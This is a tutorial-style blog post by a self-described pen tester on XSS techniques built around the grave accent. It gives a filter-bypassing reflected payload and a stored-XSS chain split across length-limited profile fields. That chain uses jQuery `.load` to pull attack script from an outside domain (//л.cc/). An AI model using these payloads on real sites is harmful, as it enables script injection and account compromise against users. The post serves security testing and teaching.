The Grave Accent and XSS
Finding a vulnerable page
Pen testing without permission might be illegal. There is precedent for unwarranted pen testing, XSS testing included, getting people in lots of legal trouble. I do pen testing as part of my day job, (usually) with explicit permission from the owner. :-)
Okay, so now that that is out of the way, I’ll give you my easy method for finding a vulnerable page, and then send you on your way to the more complicated stuff.
The easy way:
- Find an input field, like a search box.
- Press ↵ Enter.
<xss is returned in the source code of the page, you’ve got a page that is likely vulnerable to XSS attacks. If you find
<xss more than once on the page, you’ll probably be able to bypass the browser’s Reflective XSS Protection filters using the multi-line trick!
The other ways:
I’ve got two sites I go to when I get stuck:
- OWASP's XSS Filter Evasion Cheat Sheet
These two sites aren’t exhaustive, and you’ll often need to know details about the whole HTTP pipeline to pull some attacks off fully, but they offer a great way to get started in front-end pen testing.
Let’s use a very simple, and real, example I found in the wild. We’ve got a page that we’ve found is vulnerable to The Easy Way attack through search URL like this:
http://web.site/search?q="<xss that outputs the following HTML:
<ul> <li><a href="/search?q="<xss&p=1">1</a></li> <li><a href="/search?q="<xss&p=2">2</a></li> </ul>
Unfortunately, we can’t use a basic XSS attack like
/search?q="<script>alert('xss')</script>, which does perfectly inject our attack into the HTML, because the browser itself won’t allow the page to load; the Reflective XSS Protection kicks in and stops our script from running! Instead, we’ll need to combine the two XSS vulnerabilities into one, (ab)using a grave accent character, like this:
/search?q="`;alert('XSS')</script><script>`. Which outputs:
<ul> <li><a href="/search?q=/search?q="`;alert('XSS')</script><script>`&p=1">1</a></li> <li><a href="/search?q=/search?q="`;alert('XSS')</script><script>`&p=2">2</a></li> </ul>
Our complete injection is in bold and I’ve highlighted the part of the attack that becomes valid HTML, complete with our script tag. This attack slips right by the browser’s Reflective XSS Protection filter!
This attack was easy to pull off, because we essentially had an unlimited number of characters available to craft the attack. An even more useful case for the grave accent attack is when we are limited in the number of characters we can use.
Limited characters and multi XSS attack interaction
Let’s imagine you’ve found a website that is vulnerable to XSS data injection attacks (where you can persist your attack code without it being in the URL), but there are no fields that allow you to submit enough data to perform a useful attack. For example, whenever you try to save your Username as
<script src=//your.domain> you only get
<script src=//yo back instead, truncated to 16 characters. How can you exploit this, assuming other fields are similarly vulnerable and jQuery is already available?
Let’s assume your user’s public profile page’s HTML structure looks like this:
<ul> <li>Username: <span>davidmurdoch</span></li> <li>Twitter: <a href="https://twitter.com/atdavidmurdoch">Twitter</a></li> <li>YouTube Video: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">YouTube</a></li> </ul>
This seems pretty reasonable to me.
What could you put in the Username, Twitter, and YouTube Video fields to make the attack work? The Twitter field allows up to 15 characters and the YouTube Video field allows 11 (and you already know the Username field is limited to 16).
In case you’re thinking this is is just some contrived example that doesn’t happen in the real world; this is the exact situation we found while contracted to pen test a client’s online marketplace. In the end, we credited the owner’s account with 4 quintillion of their online “currency” by utilizing various attacks, including this one. But I digress…
Even if you could get an
" onload= trick to work, you can’t do anything useful with the 7 characters you’ve got left over — and what’s the point of an attack that can’t actually do anything? Could you spread our attack over the 3 limited fields using
Give it a try before diving in to the code below.
<ul> <li>Username: <span><script>$(`a/*</span></li> <li>Twitter: <a href="https://twitter.com/`).load`//л.cc/">Twitter</a></li> <li>YouTube: <a href="https://www.youtube.com/watch?v=`</script>">YouTube</a></li> </ul>
Here’s how it works:
Each field is used in a way that combines and interacts with the other fields. I’ll explain each field one at a time.
In our username field we enter the string "<script>$(`a/*". This opens our script tag then uses jQuery (
$) to select the
<a> elements on the page by using a clever selector trick. You probably know that
"a" is a valid selector on its own, and that
"a</span></li>\n<li>Twitter…" would throw an error. So what can we do? We don’t have enough space to craft the attack to exclude the extraneous HTML so we have to figure out how to: 1) include it in the selector, 2) make sure it does’t throw, and 3) make sure it still selects something.
I finally found something that worked:
/*, a CSS comment. It seems that the Sizzle CSS selector engine, used by jQuery, exits the selector parsing early for selectors that contain comments (I haven’t verified this is exactly what happens). This means we end up just selecting all
a elements on the page. Perfect!
If it isn’t clear already, that
` character we use allows us to grab the HTML of the line below, including it in our selector string, so the new line doesn’t break our script tag, as it would have had we created the selector string with a typical
" character. This lets us combine our Username XSS with the following Twitter XSS.
We enter `).load`//л.cc/ into the Twitter field. The first thing this does is close the CSS selector string (
`) and function call
) we started up in the Username field. We then call jQuery’s
load method which will load into the element (those anchor tags we selected) any HTML returned by the URL we pass in (if CORS is properly configured on the server, of course).
The `//л.cc/ part is actually a valid URL, and is a bit of a cheat. I couldn’t figure out how to remove another character from the attack in order to use a 5 character domain (e.g.,
lv.ht or something), so I used a punycode domain instead. The one above isn’t currently registered, so feel free to buy it for yourself.
The way this domain trick works is that we set up the server the domain points to always return the proper CORS headers and an HTML document with our attack script embedded within it for all requests to any URL.
Did you notice we skip the parenthesis on the call to
load? This is another feature of Template Literals (called Tag Functions) that enable us to shave two characters off our total character count. Note, however, that this trick isn’t a perfect replacement for passing strings the “usual” way, and doesn’t work when passing in the selector string to
$ like this: $`a`. This is because when using jQuery’s
$ function as a Tag Function it treats the Template Literal string we pass in an array instead of a CSS selector string (this isn’t a bug in jQuery, it actually is an Array here — this is just how Tag Functions work).
We then use the same Template Literal trick we used in the Username field, the
We finish our attack by entering `</script> in our YouTube Video field. We end the Twitter field’s call to
load with a final ` character then close our script tag. And we’ve still got a single character to spare!
YouTube Video alternative
Unrelated to the grave accent trick, another handy tool we could have used here, if the page allowed for it, is to end the attack script without closing our script tag, and instead, open a multi-line comment (
/*) and rely on one of the page’s own
script tags’ multi-line comments to close it for us later in the page. Like this:
... same as above ... <li>YouTube: <a href="https://www.youtube.com/watch?v=`/*">YouTube</a></li> <ul> <script> /* BEGIN SITE CODE */ init(); </script>
Notice that the end of the YouTube Video’s opening
<a> tag through the closing
</ul> tag are all now within our comment block. It even continues on through to the following
<script> tag and its comment block until we reach the close of that comment.
An added bonus to this attack is that we don’t use any characters that get altered by functions designed to escape special HTML characters (typically
&"'<>); it’s surprisingly common for some data to be properly sanitized, while other user data on the same page is not. Unfortunately, this attack doesn’t always work since we can’t guarantee the page will have a script tag with a multi-line comment in it following our XSS attack.
Let me know if you can find a better way to exploit the examples above!
Happy pen testing!